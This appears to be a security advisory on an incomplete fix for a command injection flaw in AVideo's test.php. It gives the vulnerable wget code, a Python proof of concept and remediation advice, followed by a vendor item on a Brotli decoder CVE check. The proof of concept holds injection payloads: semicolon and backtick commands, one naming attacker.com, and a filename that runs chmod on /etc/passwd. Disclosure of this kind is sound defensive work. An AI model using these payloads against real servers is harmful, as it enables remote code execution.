WWBN AVideo has an incomplete fix for CVE-2026-33502: Command Injection
Summary
The incomplete fix for AVideo's test.php adds escapeshellarg for wget but leaves the file_get_contents and curl code paths unsanitized, and the URL validation regex /^http/ accepts strings like httpevil.com.
Affected Package
- Ecosystem: Other
- Package: AVideo
- Affected versions: < commit 1e6cf03e93b5
- Patched versions: >= commit 1e6cf03e93b5
Details
The vulnerable wget() function in plugin/Live/test.php:
function wget($url, $filename) {
$cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
exec($cmd);
}
Neither $url nor $filename is passed through escapeshellarg(). The URL validation uses preg_match("/^http/", $url) which:
- Does not require
:// (matches httpevil.com)
- Does not block shell metacharacters (
;, backticks, $())
- Does not validate the URL is actually a URL
A payload like http://x; id > /tmp/pwned; echo passes the regex and injects arbitrary commands via the semicolons.
The fix adds escapeshellarg() for the wget path and an isAllowedStatsTestURL allowlist, but url_get_contents() (used by the same endpoint) still follows redirects without validation. The wget-specific fix does not protect the file_get_contents and curl code paths that handle the same user-supplied URL.
PoC
"""
CVE-2026-33502 - Command injection in AVideo plugin/Live/test.php
Tests REAL vulnerable code from:
plugin/Live/test.php (commit pre-1e6cf03)
The vulnerable wget() function at the end of test.php:
$cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
exec($cmd);
No escapeshellarg() is used on $url or $filename parameters.
The URL validation regex /^http/ is also weak (matches "httpevil.com").
"""
import re
import sys
import os
import subprocess
src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')
src_content = open(os.path.join(src_dir, 'test.php')).read()
print("=" * 60)
print("CVE-2026-33502: AVideo Command Injection PoC (Real Source)")
print("=" * 60)
print()
has_weak_regex = bool(re.search(r'preg_match\("/\^http/"', src_content))
has_unsanitized_wget = 'wget --tries=1 {$url} -O {$filename}' in src_content
has_escapeshellarg = 'escapeshellarg' in src_content
has_exec = 'exec($cmd)' in src_content
has_auth_check = 'User::isAdmin()' in src_content
print("[*] Source: plugin/Live/test.php (pre-fix)")
print("[*] Weak URL regex /^http/: " + str(has_weak_regex))
print("[*] Unsanitized wget command: " + str(has_unsanitized_wget))
print("[*] escapeshellarg used: " + str(has_escapeshellarg))
print("[*] exec() used: " + str(has_exec))
print("[*] Authentication check: " + str(has_auth_check))
print()
def extract_wget_function():
match = re.search(r'function wget\(.*?\n\}', src_content, re.DOTALL)
if match:
return match.group(0)
return None
wget_func = extract_wget_function()
if wget_func:
print("[*] Extracted real wget function:")
for line in wget_func.split('\n'):
print(" " + line)
print()
def simulate_url_validation(url):
if not url or url == "php://input":
return False
if not re.match(r"^http", url):
return False
return True
def simulate_vulnerable_wget_cmd(url, filename):
cmd = f"wget --tries=1 {url} -O {filename} --no-check-certificate"
return cmd
print("[*] Testing command injection payloads:")
print()
vuln_count = 0
payload = "http://x; id > /tmp/pwned; echo "
valid = simulate_url_validation(payload)
cmd = simulate_vulnerable_wget_cmd(payload, "/tmp/test123")
print(f" Payload: {payload}")
print(f" Passes regex: {valid}")
print(f" Generated command: {cmd}")
if valid and '; id' in cmd:
print(" Result: COMMAND INJECTION - 'id' will execute")
vuln_count += 1
print()
payload2 = "http://x`whoami`.attacker.com/test"
valid2 = simulate_url_validation(payload2)
cmd2 = simulate_vulnerable_wget_cmd(payload2, "/tmp/test456")
print(f" Payload: {payload2}")
print(f" Passes regex: {valid2}")
print(f" Generated command: {cmd2}")
if valid2 and '`whoami`' in cmd2:
print(" Result: COMMAND INJECTION via backticks")
vuln_count += 1
print()
payload3 = "httpevil.attacker.com"
valid3 = simulate_url_validation(payload3)
print(f" Payload: {payload3}")
print(f" Passes regex: {valid3}")
if valid3:
print(" Result: WEAK REGEX - 'httpevil.com' matches /^http/")
vuln_count += 1
print()
cmd4 = simulate_vulnerable_wget_cmd("http://legit.com", "/tmp/test; chmod 777 /etc/passwd")
print(f" Filename injection command: {cmd4}")
if '; chmod' in cmd4:
print(" Result: FILENAME INJECTION possible")
vuln_count += 1
print()
if not has_auth_check:
vuln_count += 1
print("[*] No authentication required to reach test.php")
print()
if vuln_count > 0 and has_unsanitized_wget:
print("VULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("VULNERABILITY NOT CONFIRMED")
sys.exit(1)
Steps to reproduce:
git clone https://github.com/WWBN/AVideo /tmp/AVideo_test
cd /tmp/AVideo_test && git checkout 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3~1
python3 poc.py
Expected output:
VULNERABILITY CONFIRMED
wget() uses unsanitized $url in shell command via exec(), and the URL regex /^http/ is too weak to prevent injection.
Impact
An unauthenticated attacker can achieve remote code execution on the AVideo server by sending a crafted URL to plugin/Live/test.php that injects shell commands via semicolons or backticks in the wget command line. This grants full server compromise -- the attacker can read database credentials, install backdoors, or pivot to internal systems.
Suggested Remediation
- Use
escapeshellarg() on both $url and $filename in the wget() function.
- Strengthen the URL regex to require
^https?:// and reject shell metacharacters.
- Add authentication (
User::isAdmin()) to the test.php endpoint.
- Apply
escapeshellarg() consistently across all code paths (wget, curl, file_get_contents).
Latest trending attack
Criticalyesterday
Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)
This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.
Why a second control
CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.
Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.
The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.
What this control checks
Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.
How to read the result
Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.
This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.
Affected and fixed versions
Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.
Recommendations
Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.
Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli.
Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.